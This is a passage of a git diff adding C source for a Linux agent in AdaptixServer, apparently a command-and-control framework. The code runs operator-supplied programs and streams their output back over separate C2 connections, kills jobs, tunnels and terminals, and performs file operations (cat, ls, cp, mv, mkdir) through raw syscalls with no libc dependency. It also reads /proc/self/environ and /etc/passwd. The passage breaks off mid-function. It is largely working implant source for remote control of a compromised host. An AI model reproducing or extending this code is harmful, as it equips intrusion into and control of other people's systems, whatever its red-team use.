+ for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]); + ax_free(rargs); + return (void*)0; + } + + // Build argv + char *exec_argv[66]; + exec_argv[0] = rargs->program; + for (int i = 0; i < rargs->argc && i < 63; i++) + exec_argv[i + 1] = rargs->args[i]; + exec_argv[rargs->argc + 1] = (char*)0; + + int pid = F_fork(); + if (pid < 0) { + F_close(stdout_pipe[0]); F_close(stdout_pipe[1]); + F_close(stderr_pipe[0]); F_close(stderr_pipe[1]); + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); + for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]); + ax_free(rargs); + return (void*)0; + } + + if (pid == 0) { + // Child process + F_setpgid(0, 0); + F_close(stdout_pipe[0]); + F_close(stderr_pipe[0]); + F_dup2(stdout_pipe[1], 1); + F_dup2(stderr_pipe[1], 2); + F_close(stdout_pipe[1]); + F_close(stderr_pipe[1]); + + // Get environ from /proc/self/environ is complex, pass NULL + // On Linux, execve with NULL envp gives empty env + // Actually use the existing environment pointer (stack) + F_execve(rargs->program, exec_argv, (char*const*)0); + F_exit(1); + } + + // Parent: close write ends + F_close(stdout_pipe[1]); + F_close(stderr_pipe[1]); + + // Set reads to non-blocking + F_fcntl(stdout_pipe[0], F_SETFL, O_NONBLOCK); + F_fcntl(stderr_pipe[0], F_SETFL, O_NONBLOCK); + + // Send start message + { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 5); + mp_write_kv_str(&ans_w, "stdout", ""); + mp_write_kv_str(&ans_w, "stderr", ""); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", true); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + // Streaming loop + uint8_t *out_buf = (uint8_t*)ax_malloc(RUN_CHUNK_SIZE); + uint8_t *err_buf = (uint8_t*)ax_malloc(RUN_CHUNK_SIZE); + int process_done = 0; + + while (!process_done && !job->canceled) { + F_usleep(1000000); // 1 second + + long out_n = F_read(stdout_pipe[0], out_buf, RUN_CHUNK_SIZE); + if (out_n < 0) out_n = 0; + + long err_n = F_read(stderr_pipe[0], err_buf, RUN_CHUNK_SIZE); + if (err_n < 0) err_n = 0; + + int status; + int wret = F_waitpid(pid, &status, WNOHANG); + if (wret > 0) process_done = 1; + + if (out_n > 0 || err_n > 0) { + char *out_str = (char*)ax_malloc((size_t)out_n + 1); + ax_memcpy(out_str, out_buf, (size_t)out_n); + out_str[out_n] = '\0'; + + char *err_str = (char*)ax_malloc((size_t)err_n + 1); + ax_memcpy(err_str, err_buf, (size_t)err_n); + err_str[err_n] = '\0'; + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)out_n + (size_t)err_n); + mp_write_map(&ans_w, 5); + mp_write_str(&ans_w, "stdout", 6); + mp_write_str(&ans_w, out_str, (uint32_t)out_n); + mp_write_str(&ans_w, "stderr", 6); + mp_write_str(&ans_w, err_str, (uint32_t)err_n); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + ax_free(out_str); + ax_free(err_str); + } + } + + // If canceled, kill process group + if (job->canceled) { + F_kill(-pid, 9); // kill process group + F_waitpid(pid, (void*)0, 0); + } + + // Drain remaining output + for (;;) { + long out_n = F_read(stdout_pipe[0], out_buf, RUN_CHUNK_SIZE); + long err_n = F_read(stderr_pipe[0], err_buf, RUN_CHUNK_SIZE); + if (out_n <= 0 && err_n <= 0) break; + if (out_n < 0) out_n = 0; + if (err_n < 0) err_n = 0; + + char *out_str = (char*)ax_malloc((size_t)out_n + 1); + ax_memcpy(out_str, out_buf, (size_t)out_n); + out_str[out_n] = '\0'; + + char *err_str = (char*)ax_malloc((size_t)err_n + 1); + ax_memcpy(err_str, err_buf, (size_t)err_n); + err_str[err_n] = '\0'; + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)out_n + (size_t)err_n); + mp_write_map(&ans_w, 5); + mp_write_str(&ans_w, "stdout", 6); + mp_write_str(&ans_w, out_str, (uint32_t)out_n); + mp_write_str(&ans_w, "stderr", 6); + mp_write_str(&ans_w, err_str, (uint32_t)err_n); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + ax_free(out_str); + ax_free(err_str); + } + + // Send finish message + { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 5); + mp_write_kv_str(&ans_w, "stdout", ""); + mp_write_kv_str(&ans_w, "stderr", ""); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + F_close(stdout_pipe[0]); + F_close(stderr_pipe[0]); + ax_free(out_buf); + ax_free(err_buf); + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); + + for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]); + ax_free(rargs); + return (void*)0; +} + +int task_run(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char task[64] = {0}; + char program[4096] = {0}; + char *args[64]; + int argc = 0; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + } else if (kl == 7 && ax_memcmp(k, "program", 7) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(program)) { ax_memcpy(program, v, vl); program[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "args", 4) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) == 0) { + for (uint32_t j = 0; j < arr_count && argc < 63; j++) { + const char *v; uint32_t vl; + if (mp_read_str(&r, &v, &vl) == 0) { + args[argc] = (char*)ax_malloc(vl + 1); + ax_memcpy(args[argc], v, vl); + args[argc][vl] = '\0'; + argc++; + } + } + } + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0' || program[0] == '\0') { + for (int i = 0; i < argc; i++) ax_free(args[i]); + write_error(w, "missing task or program"); + return 0; + } + + int idx = jobs_alloc(&g_job_ctx); + if (idx < 0) { + for (int i = 0; i < argc; i++) ax_free(args[i]); + write_error(w, "max jobs reached"); + return 0; + } + + job_entry_t *job = &g_job_ctx.jobs[idx]; + ax_strncpy(job->job_id, task, sizeof(job->job_id) - 1); + job->job_type = JOB_TYPE_RUN; + job->active = 1; + + run_args_t *rargs = (run_args_t*)ax_malloc(sizeof(run_args_t)); + ax_memset(rargs, 0, sizeof(run_args_t)); + rargs->job_idx = idx; + ax_strncpy(rargs->task, task, sizeof(rargs->task) - 1); + ax_strncpy(rargs->program, program, sizeof(rargs->program) - 1); + rargs->argc = argc; + for (int i = 0; i < argc; i++) + rargs->args[i] = args[i]; // Transfer ownership + + jobs_thread_create(&job->thread, run_thread, rargs); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "run started"); + return 0; +} + +// ── Job List ── + +int task_job_list(mp_writer_t *w) { + job_context_t *ctx = &g_job_ctx; + + int count = 0; + jobs_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active) count++; + } + + mp_write_map(w, 1); + mp_write_str(w, "jobs", 4); + mp_write_array(w, (uint32_t)count); + + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active) { + mp_write_map(w, 2); + mp_write_kv_str(w, "job_id", ctx->jobs[i].job_id); + mp_write_kv_int(w, "job_type", ctx->jobs[i].job_type); + } + } + jobs_mutex_unlock(&ctx->jobs_mutex); + + return 0; +} + +// ── Job Kill ── + +int task_job_kill(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + const char *id = (const char*)0; + uint32_t id_len = 0; + + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 2 && ax_memcmp(k, "id", 2) == 0) { + mp_read_str(&r, &id, &id_len); + } else { + mp_skip(&r); + } + } + + if (!id || id_len == 0) { write_error(w, "missing id"); return 0; } + + char id_str[64] = {0}; + if (id_len >= sizeof(id_str)) id_len = sizeof(id_str) - 1; + ax_memcpy(id_str, id, id_len); + + job_context_t *ctx = &g_job_ctx; + + // Search in jobs (downloads + runs) + int idx = jobs_find(ctx, id_str); + if (idx >= 0) { + ctx->jobs[idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "job canceled"); + return 0; + } + + // Search in tunnels (MUX model: mark as closed, process_tunnels handles cleanup) + int ch_id = ax_atoi(id_str); + int tidx = tunnels_find(ctx, ch_id); + if (tidx >= 0) { + ctx->tunnels[tidx].state = TUNNEL_STATE_CLOSED; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel canceled"); + return 0; + } + + // Search in terminals + int term_idx = terminals_find(ctx, ch_id); + if (term_idx >= 0) { + ctx->terminals[term_idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal canceled"); + return 0; + } + + write_error(w, "job not found"); + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.h new file mode 100644 index 000000000..35742b4ea --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.h @@ -0,0 +1,16 @@ +#ifndef TASKS_ASYNC_H +#define TASKS_ASYNC_H + +#include "msgpack.h" +#include + +/// Async command handlers -- download, upload, run, job_list, job_kill +/// These launch background threads with separate C2 connections + +int task_download(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_upload(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_run(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_job_list(mp_writer_t *w); +int task_job_kill(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +#endif /* TASKS_ASYNC_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.c new file mode 100644 index 000000000..4576fd433 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.c @@ -0,0 +1,729 @@ +/// tasks_fs.c -- Filesystem commands for Linux agent +/// All ops via direct syscalls — zero libc dependency. + +#include "tasks_fs.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// ── Linux constants ── + +#define O_RDONLY 0 +#define O_WRONLY 1 +#define O_RDWR 2 +#define O_CREAT 0100 +#define O_TRUNC 01000 +#define O_APPEND 02000 + +// stat mode bits +#define S_IFMT 0170000 +#define S_IFDIR 0040000 +#define S_IFREG 0100000 +#define S_IFLNK 0120000 +#define S_ISDIR(m) (((m) & S_IFMT) == S_IFDIR) +#define S_ISREG(m) (((m) & S_IFMT) == S_IFREG) +#define S_ISLNK(m) (((m) & S_IFMT) == S_IFLNK) +#define S_IRUSR 0400 +#define S_IWUSR 0200 +#define S_IXUSR 0100 +#define S_IRGRP 0040 +#define S_IWGRP 0020 +#define S_IXGRP 0010 +#define S_IROTH 0004 +#define S_IWOTH 0002 +#define S_IXOTH 0001 + +// getdents64 structure +struct linux_dirent64 { + uint64_t d_ino; + int64_t d_off; + uint16_t d_reclen; + uint8_t d_type; + char d_name[]; +}; + +#define DT_DIR 4 +#define DT_REG 8 + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +/// Parse a single string field from msgpack params +static int parse_string_param(const uint8_t *data, uint32_t data_len, + const char *key_name, char *out, size_t out_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + size_t kname_len = ax_strlen(key_name); + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + if (klen == kname_len && ax_memcmp(key, key_name, klen) == 0) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out_size) vlen = (uint32_t)(out_size - 1); + ax_memcpy(out, val, vlen); + out[vlen] = '\0'; + return 0; + } + mp_skip(&r); + } + return -1; +} + +/// Parse two string fields (src, dst) +static int parse_two_strings(const uint8_t *data, uint32_t data_len, + const char *key1, char *out1, size_t out1_size, + const char *key2, char *out2, size_t out2_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + size_t k1len = ax_strlen(key1); + size_t k2len = ax_strlen(key2); + int found = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + if (klen == k1len && ax_memcmp(key, key1, klen) == 0) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out1_size) vlen = (uint32_t)(out1_size - 1); + ax_memcpy(out1, val, vlen); + out1[vlen] = '\0'; + found++; + } else if (klen == k2len && ax_memcmp(key, key2, klen) == 0) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out2_size) vlen = (uint32_t)(out2_size - 1); + ax_memcpy(out2, val, vlen); + out2[vlen] = '\0'; + found++; + } else { + mp_skip(&r); + } + } + return (found >= 2) ? 0 : -1; +} + +/// Expand ~ to /home/ via /proc/self/environ HOME= +static void normalize_path(const char *input, char *out, size_t out_size) { + if (input[0] == '~' && (input[1] == '/' || input[1] == '\0')) { + // Read HOME from /proc/self/environ + char env_buf[4096]; + int fd = sys_open("/proc/self/environ", O_RDONLY, 0); + if (fd >= 0) { + long n = sys_read(fd, env_buf, sizeof(env_buf) - 1); + sys_close(fd); + if (n > 0) { + env_buf[n] = '\0'; + // Environ is null-separated. Find HOME= + char *p = env_buf; + char *end = env_buf + n; + while (p < end) { + if (p[0] == 'H' && p[1] == 'O' && p[2] == 'M' && p[3] == 'E' && p[4] == '=') { + ax_strncpy(out, p + 5, out_size - 1); + ax_strcat(out, input + 1); + out[out_size - 1] = '\0'; + return; + } + while (p < end && *p) p++; + p++; // skip null separator + } + } + } + // Fallback: /tmp + ax_strncpy(out, "/tmp", out_size - 1); + ax_strcat(out, input + 1); + } else { + ax_strncpy(out, input, out_size - 1); + } + out[out_size - 1] = '\0'; +} + +/// Build permission mode string from stat mode +static void mode_string(unsigned int mode, char *buf) { + buf[0] = S_ISDIR(mode) ? 'd' : (S_ISLNK(mode) ? 'l' : '-'); + buf[1] = (mode & S_IRUSR) ? 'r' : '-'; + buf[2] = (mode & S_IWUSR) ? 'w' : '-'; + buf[3] = (mode & S_IXUSR) ? 'x' : '-'; + buf[4] = (mode & S_IRGRP) ? 'r' : '-'; + buf[5] = (mode & S_IWGRP) ? 'w' : '-'; + buf[6] = (mode & S_IXGRP) ? 'x' : '-'; + buf[7] = (mode & S_IROTH) ? 'r' : '-'; + buf[8] = (mode & S_IWOTH) ? 'w' : '-'; + buf[9] = (mode & S_IXOTH) ? 'x' : '-'; + buf[10] = '\0'; +} + +/// Format mtime from epoch seconds into "Mon DD HH:MM" style +/// Simplified — no timezone support, uses UTC +static void format_date(unsigned long epoch, char *buf, size_t buf_size) { + // Simplified: just show epoch as a number if we can't format properly + // For real formatting, would need a mini gmtime implementation + // We'll format as "YYYY-MM-DD HH:MM" using a minimal epoch decoder + + // Days since epoch + unsigned long secs = epoch; + unsigned long mins = secs / 60; secs %= 60; + unsigned long hours = mins / 60; mins %= 60; + unsigned long days = hours / 24; hours %= 24; + + // Year calculation (simplified — ignores leap seconds) + int year = 1970; + for (;;) { + int yday = ((year % 4 == 0 && year % 100 != 0) || year % 400 == 0) ? 366 : 365; + if (days < (unsigned long)yday) break; + days -= yday; + year++; + } + + // Month calculation + int leap = ((year % 4 == 0 && year % 100 != 0) || year % 400 == 0); + int month_days[] = {31, 28 + leap, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; + static const char *month_names[] = {"Jan","Feb","Mar","Apr","May","Jun", + "Jul","Aug","Sep","Oct","Nov","Dec"}; + int month = 0; + while (month < 12 && days >= (unsigned long)month_days[month]) { + days -= month_days[month]; + month++; + } + int day = (int)days + 1; + + // Format: "Mon DD HH:MM" + char tmp[32]; + int pos = 0; + const char *mn = month_names[month < 12 ? month : 0]; + tmp[pos++] = mn[0]; tmp[pos++] = mn[1]; tmp[pos++] = mn[2]; + tmp[pos++] = ' '; + if (day >= 10) tmp[pos++] = '0' + day / 10; + else tmp[pos++] = ' '; + tmp[pos++] = '0' + day % 10; + tmp[pos++] = ' '; + tmp[pos++] = '0' + (int)(hours / 10); + tmp[pos++] = '0' + (int)(hours % 10); + tmp[pos++] = ':'; + tmp[pos++] = '0' + (int)(mins / 10); + tmp[pos++] = '0' + (int)(mins % 10); + tmp[pos] = '\0'; + + ax_strncpy(buf, tmp, buf_size - 1); + buf[buf_size - 1] = '\0'; +} + +/// Convert UID to username by parsing /etc/passwd +static void uid_to_name(unsigned int uid, char *buf, size_t buf_size) { + char passwd[8192]; + int fd = sys_open("/etc/passwd", O_RDONLY, 0); + if (fd < 0) { goto fallback; } + + long n = sys_read(fd, passwd, sizeof(passwd) - 1); + sys_close(fd); + if (n <= 0) { goto fallback; } + passwd[n] = '\0'; + + // Format: name:x:uid:gid:... + char uid_str[16]; + ax_itoa((int)uid, uid_str, 10); + size_t uid_len = ax_strlen(uid_str); + + char *line = passwd; + while (*line) { + char *eol = ax_strchr(line, '\n'); + if (eol) *eol = '\0'; + + // Find first ':' (after name) + char *p1 = ax_strchr(line, ':'); + if (!p1) goto next; + // Find second ':' (after 'x') + char *p2 = ax_strchr(p1 + 1, ':'); + if (!p2) goto next; + // UID starts at p2+1 + char *uid_start = p2 + 1; + char *p3 = ax_strchr(uid_start, ':'); + if (!p3) goto next; + + size_t field_len = (size_t)(p3 - uid_start); + if (field_len == uid_len && ax_memcmp(uid_start, uid_str, uid_len) == 0) { + // Found! Copy name (line to p1) + size_t name_len = (size_t)(p1 - line); + if (name_len >= buf_size) name_len = buf_size - 1; + ax_memcpy(buf, line, name_len); + buf[name_len] = '\0'; + return; + } + + next: + if (eol) line = eol + 1; + else break; + } + +fallback: + ax_itoa((int)uid, buf, 10); +} + +/// Convert GID to group name by parsing /etc/group +static void gid_to_name(unsigned int gid, char *buf, size_t buf_size) { + char group[8192]; + int fd = sys_open("/etc/group", O_RDONLY, 0); + if (fd < 0) { goto fallback; } + + long n = sys_read(fd, group, sizeof(group) - 1); + sys_close(fd); + if (n <= 0) { goto fallback; } + group[n] = '\0'; + + char gid_str[16]; + ax_itoa((int)gid, gid_str, 10); + size_t gid_len = ax_strlen(gid_str); + + char *line = group; + while (*line) { + char *eol = ax_strchr(line, '\n'); + if (eol) *eol = '\0'; + + // Format: name:x:gid:members + char *p1 = ax_strchr(line, ':'); + if (!p1) goto next; + char *p2 = ax_strchr(p1 + 1, ':'); + if (!p2) goto next; + char *gid_start = p2 + 1; + char *p3 = ax_strchr(gid_start, ':'); + if (!p3) goto next; + + size_t field_len = (size_t)(p3 - gid_start); + if (field_len == gid_len && ax_memcmp(gid_start, gid_str, gid_len) == 0) { + size_t name_len = (size_t)(p1 - line); + if (name_len >= buf_size) name_len = buf_size - 1; + ax_memcpy(buf, line, name_len); + buf[name_len] = '\0'; + return; + } + + next: + if (eol) line = eol + 1; + else break; + } + +fallback: + ax_itoa((int)gid, buf, 10); +} + +// ──── Command handlers ──── + +int task_pwd(mp_writer_t *w) +{ + char cwd[4096]; + if (sys_getcwd(cwd, sizeof(cwd)) <= 0) { + write_error(w, "getcwd failed"); + return 0; + } + mp_write_map(w, 1); + mp_write_kv_str(w, "path", cwd); + return 0; +} + +int task_cd(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + if (sys_chdir(path) != 0) { + write_error(w, "chdir failed"); + return 0; + } + + char cwd[4096]; + if (sys_getcwd(cwd, sizeof(cwd)) <= 0) { + write_error(w, "getcwd failed after chdir"); + return 0; + } + + mp_write_map(w, 1); + mp_write_kv_str(w, "path", cwd); + return 0; +} + +int task_cat(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + // Check file size + struct linux_stat st; + if (sys_stat(path, &st) != 0) { + write_error(w, "file not found"); + return 0; + } + if (st.st_size > 1024 * 1024) { + write_error(w, "file size exceeds 1 MB (use download)"); + return 0; + } + + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) { + write_error(w, "cannot open file"); + return 0; + } + + uint8_t *content = (uint8_t *)ax_malloc((size_t)st.st_size); + if (!content) { + sys_close(fd); + write_error(w, "malloc failed"); + return 0; + } + + size_t total = 0; + while (total < (size_t)st.st_size) { + long n = sys_read(fd, content + total, (size_t)st.st_size - total); + if (n <= 0) break; + total += (size_t)n; + } + sys_close(fd); + + mp_write_map(w, 2); + mp_write_kv_str(w, "path", path); + mp_write_kv_bin(w, "content", content, (uint32_t)total); + + ax_free(content); + return 0; +} + +int task_ls(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_path[4096] = {0}; + ax_strcpy(raw_path, "."); + parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)); + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + struct linux_stat dir_st; + if (sys_stat(path, &dir_st) != 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "path not found"); + mp_write_kv_str(w, "path", path); + return 0; + } + + mp_writer_t files_writer; + mp_writer_init(&files_writer, 4096); + + if (S_ISDIR(dir_st.st_mode)) { + int dirfd = sys_open(path, O_RDONLY, 0); + if (dirfd < 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "cannot open directory"); + mp_write_kv_str(w, "path", path); + return 0; + } + + // First pass: count entries + char dirbuf[4096]; + uint32_t count = 0; + for (;;) { + int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *d = (struct linux_dirent64 *)(dirbuf + pos); + count++; + pos += d->d_reclen; + } + } + + // Reopen for second pass (no lseek on getdents) + sys_close(dirfd); + dirfd = sys_open(path, O_RDONLY, 0); + if (dirfd < 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "cannot reopen directory"); + mp_write_kv_str(w, "path", path); + return 0; + } + + mp_write_array(&files_writer, count); + + for (;;) { + int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *d = (struct linux_dirent64 *)(dirbuf + pos); + + // Build full path for stat + char fullpath[4096]; + ax_strncpy(fullpath, path, sizeof(fullpath) - 1); + size_t plen = ax_strlen(fullpath); + if (plen > 0 && fullpath[plen - 1] != '/') { + fullpath[plen] = '/'; + fullpath[plen + 1] = '\0'; + } + ax_strcat(fullpath, d->d_name); + + struct linux_stat fst; + ax_memset(&fst, 0, sizeof(fst)); + sys_stat(fullpath, &fst); + + char mode[11]; + mode_string(fst.st_mode, mode); + + char user[64], group[64]; + uid_to_name(fst.st_uid, user, sizeof(user)); + gid_to_name(fst.st_gid, group, sizeof(group)); + + char date[32]; + format_date(fst.st_mtime_sec, date, sizeof(date)); + + mp_write_map(&files_writer, 8); + mp_write_kv_str(&files_writer, "mode", mode); + mp_write_kv_int(&files_writer, "nlink", (int64_t)fst.st_nlink); + mp_write_kv_str(&files_writer, "user", user); + mp_write_kv_str(&files_writer, "group", group); + mp_write_kv_int(&files_writer, "size", (int64_t)fst.st_size); + mp_write_kv_str(&files_writer, "date", date); + mp_write_kv_str(&files_writer, "filename", d->d_name); + mp_write_kv_bool(&files_writer, "is_dir", S_ISDIR(fst.st_mode) ? 1 : 0); + + pos += d->d_reclen; + } + } + sys_close(dirfd); + } else { + // Single file + mp_write_array(&files_writer, 1); + + char mode[11]; + mode_string(dir_st.st_mode, mode); + + char user[64], group[64]; + uid_to_name(dir_st.st_uid, user, sizeof(user)); + gid_to_name(dir_st.st_gid, group, sizeof(group)); + + char date[32]; + format_date(dir_st.st_mtime_sec, date, sizeof(date)); + + const char *basename = raw_path; + for (const char *p = raw_path; *p; p++) { + if (*p == '/') basename = p + 1; + } + + mp_write_map(&files_writer, 8); + mp_write_kv_str(&files_writer, "mode", mode); + mp_write_kv_int(&files_writer, "nlink", (int64_t)dir_st.st_nlink); + mp_write_kv_str(&files_writer, "user", user); + mp_write_kv_str(&files_writer, "group", group); + mp_write_kv_int(&files_writer, "size", (int64_t)dir_st.st_size); + mp_write_kv_str(&files_writer, "date", date); + mp_write_kv_str(&files_writer, "filename", basename); + mp_write_kv_bool(&files_writer, "is_dir", 0); + } + + // Ensure display path ends with / for directories + char display_path[4096]; + ax_strncpy(display_path, path, sizeof(display_path) - 2); + size_t dlen = ax_strlen(display_path); + if (dlen > 0 && display_path[dlen - 1] != '/' && S_ISDIR(dir_st.st_mode)) { + display_path[dlen] = '/'; + display_path[dlen + 1] = '\0'; + } + + mp_write_map(w, 4); + mp_write_kv_bool(w, "result", 1); + mp_write_kv_str(w, "status", ""); + mp_write_kv_str(w, "path", display_path); + mp_write_kv_bin(w, "files", files_writer.buf.data, (uint32_t)files_writer.buf.len); + + mp_writer_free(&files_writer); + return 0; +} + +int task_cp(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_src[4096] = {0}, raw_dst[4096] = {0}; + if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src), + "dst", raw_dst, sizeof(raw_dst)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char src[4096], dst[4096]; + normalize_path(raw_src, src, sizeof(src)); + normalize_path(raw_dst, dst, sizeof(dst)); + + // Copy file via syscalls + int sfd = sys_open(src, O_RDONLY, 0); + if (sfd < 0) { + write_error(w, "cannot open source"); + return 0; + } + + struct linux_stat st; + sys_fstat(sfd, &st); + + int dfd = sys_open(dst, O_WRONLY | O_CREAT | O_TRUNC, st.st_mode & 0777); + if (dfd < 0) { + sys_close(sfd); + write_error(w, "cannot create destination"); + return 0; + } + + char buf[8192]; + for (;;) { + long n = sys_read(sfd, buf, sizeof(buf)); + if (n <= 0) break; + long written = 0; + while (written < n) { + long w2 = sys_write(dfd, buf + written, (size_t)(n - written)); + if (w2 <= 0) break; + written += w2; + } + } + sys_close(sfd); + sys_close(dfd); + + mp_write_nil(w); + return 0; +} + +int task_mv(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_src[4096] = {0}, raw_dst[4096] = {0}; + if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src), + "dst", raw_dst, sizeof(raw_dst)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char src[4096], dst[4096]; + normalize_path(raw_src, src, sizeof(src)); + normalize_path(raw_dst, dst, sizeof(dst)); + + if (sys_rename(src, dst) != 0) { + write_error(w, "rename failed"); + return 0; + } + + mp_write_nil(w); + return 0; +} + +int task_mkdir(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + // Create with parents (simplified mkdirall) + char tmp[4096]; + ax_strncpy(tmp, path, sizeof(tmp) - 1); + for (char *p = tmp + 1; *p; p++) { + if (*p == '/') { + *p = '\0'; + sys_mkdir(tmp, 0755); + *p = '/'; + } + } + if (sys_mkdir(tmp, 0755) != 0) { + // Check if it already exists as dir + struct linux_stat st; + if (sys_stat(tmp, &st) != 0 || !S_ISDIR(st.st_mode)) { + write_error(w, "mkdir failed"); + return 0; + } + } + + mp_write_nil(w); + return 0; +} + +int task_rm(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, 